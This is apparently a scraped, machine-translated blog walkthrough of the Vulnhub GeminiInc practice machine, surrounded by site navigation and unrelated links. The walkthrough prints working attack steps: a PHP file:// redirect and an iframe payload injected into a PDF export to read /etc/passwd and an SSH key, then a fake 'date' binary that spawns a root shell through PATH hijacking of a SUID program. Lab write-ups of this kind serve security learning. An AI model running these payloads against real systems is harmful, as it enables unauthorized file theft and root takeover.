当前位置:网站首页>Vulnhub geminiinc
Vulnhub geminiinc
2022-07-03 11:47:00 【Plum_ Flowers_ seven】
Catalog
Two 、 Service version detection
3、 ... and 、 information gathering
6、 ... and 、 information gathering
7、 ... and 、 Combined boxing XSS+SSRF+LFI
8、 ... and 、 Read gemini Private key
2.ssh Public private key login
1. /usr/bin/listinfo File analysis
11、 ... and 、 The system command file is forged
2. Modify environment variables
One 、 The host found
Half open scan
nmap -sS ip
Two 、 Service version detection
3、 ... and 、 information gathering
1. Unable to load
80 The resources of the port cannot be loaded normally , Because I have been visiting Google Some sites of , Hang a ladder to visit .
2. The main page
The source code address is given to us
3. Source code
View one by one , stay install Under the folder [email protected]
4. Try signing in
Successfully logged in , There are more functions in the upper left corner
Four 、 Analysis function
1.export Output pdf
2.edit profile Edit the file
The information we modify will be displayed intact on the information board . There is no filter at the user name ,
5、 ... and 、 Storage type xss
Not enough to help us break through the border
6、 ... and 、 information gathering
1.export Output
We found an application in document attributes . It's just one. html turn pdf Application .
7、 ... and 、 Combined boxing XSS+SSRF+LFI
After searching , We can know that these three vulnerabilities exist in this application component . Through the combination of vulnerabilities , To read local files .
1. Local open apache service
systemctl start apache2
cd /var/www/html
sudo vim 1.php
Create a 1.php file
write in :
<?php
$file = $_GET['file'];
header("location:file://$file");
2. Inject payload
<iframe src="http://ip/1.php?file=/etc/passwd" width="100%" height=1220></iframe>
3.export Trigger
Successfully read /etc/passwd file . You can see gemini Can pass shell Sign in
8、 ... and 、 Read gemini Private key
Save to kali On
2.ssh Public private key login
Successfully logged in
Nine 、find Information search
find / -type f -user root -perm -u+xs -ls 2>/dev/null
Ten 、 Binary file view
1. /usr/bin/listinfo File analysis
strings /usr/bin/listinfo
Content :
The core code is these sentences , Called the system command
2. The implementation of
11、 ... and 、 The system command file is forged
1. newly build date file
vim date.c
Content :
#include<sys/types.h>
#include<unistd.h>
#include<stdlib.h>
int main(){
setuid(0);
setgid(0);
system("/bin/bash");
}
2. Modify environment variables
First look at the front , Then look from the back
export PATH=/tmp:$PATH
3. perform listinfo
Mention right to success
Get flag.txt
边栏推荐
- Extrapolated scatter data
- Cuiyusong, CTO of youzan: the core goal of Jarvis is to make products smarter and more reliable
- R语言使用gridExtra包的grid.arrange函数将ggplot2包的多个可视化图像横向组合起来,ncol参数自定义组合图列数、nrow参数自定义组合图行数
- Internet socket (non) blocking write/read n bytes
- Web安全总结
- Phpcms prompt message page Jump to showmessage
- 同事写了一个责任链模式,bug无数...
- 聊聊Flink框架中的状态管理机制
- Programmers' entrepreneurial trap: taking private jobs
- P3250 [hnoi2016] Network + [necpc2022] f.tree path tree section + segment tree maintenance heap
猜你喜欢
Software testing weekly (issue 78): the more confident you are about the future, the more patient you are about the present.
金额计算用 BigDecimal 就万无一失了?看看这五个坑吧~~
DS90UB949
AOSP ~ NTP ( 网络时间协议 )
Kibana - installation and configuration of kibana
The tutor put forward 20 pieces of advice to help graduate students successfully complete their studies: first, don't plan to take a vacation
Qt+VTK+OCCT读取IGES/STEP模型
vulnhub之GeminiInc v2
Event preview | the live broadcast industry "rolled in" to drive new data growth points with product power
聊聊Flink框架中的状态管理机制
随机推荐
2022 东北四省赛 VP记录/补题
Internet socket (non) blocking write/read n bytes
.\vmware-vdiskmanager.exe -k “c:\\xxxxx.vmdk”
Excel quick cross table copy and paste
836. 合并集合(DAY 63)并查集
GCC compilation process and dynamic link library and static link library
MySQL searches and sorts out common methods according to time
Numpy np. Max and np Maximum implements the relu function
Phpcms prompt message page Jump to showmessage
CSRF
P3250 [HNOI2016] 网络 + [NECPC2022] F.Tree Path 树剖+线段树维护堆
Repo ~ common commands
Modular programming of single chip microcomputer
Keepalived中Master和Backup角色选举策略
Machine learning 3.2 decision tree model learning notes (to be supplemented)
How should intermediate software designers prepare for the soft test
Sheet1$.输出[Excel 源输出].列[XXX] 出错。返回的列状态是:“文本被截断,或者一个或多个字符在目标代码页中没有匹配项。”。
Use typora to draw flow chart, sequence diagram, sequence diagram, Gantt chart, etc. for detailed explanation
Kibana~Kibana的安装和配置
POI excel cell wrap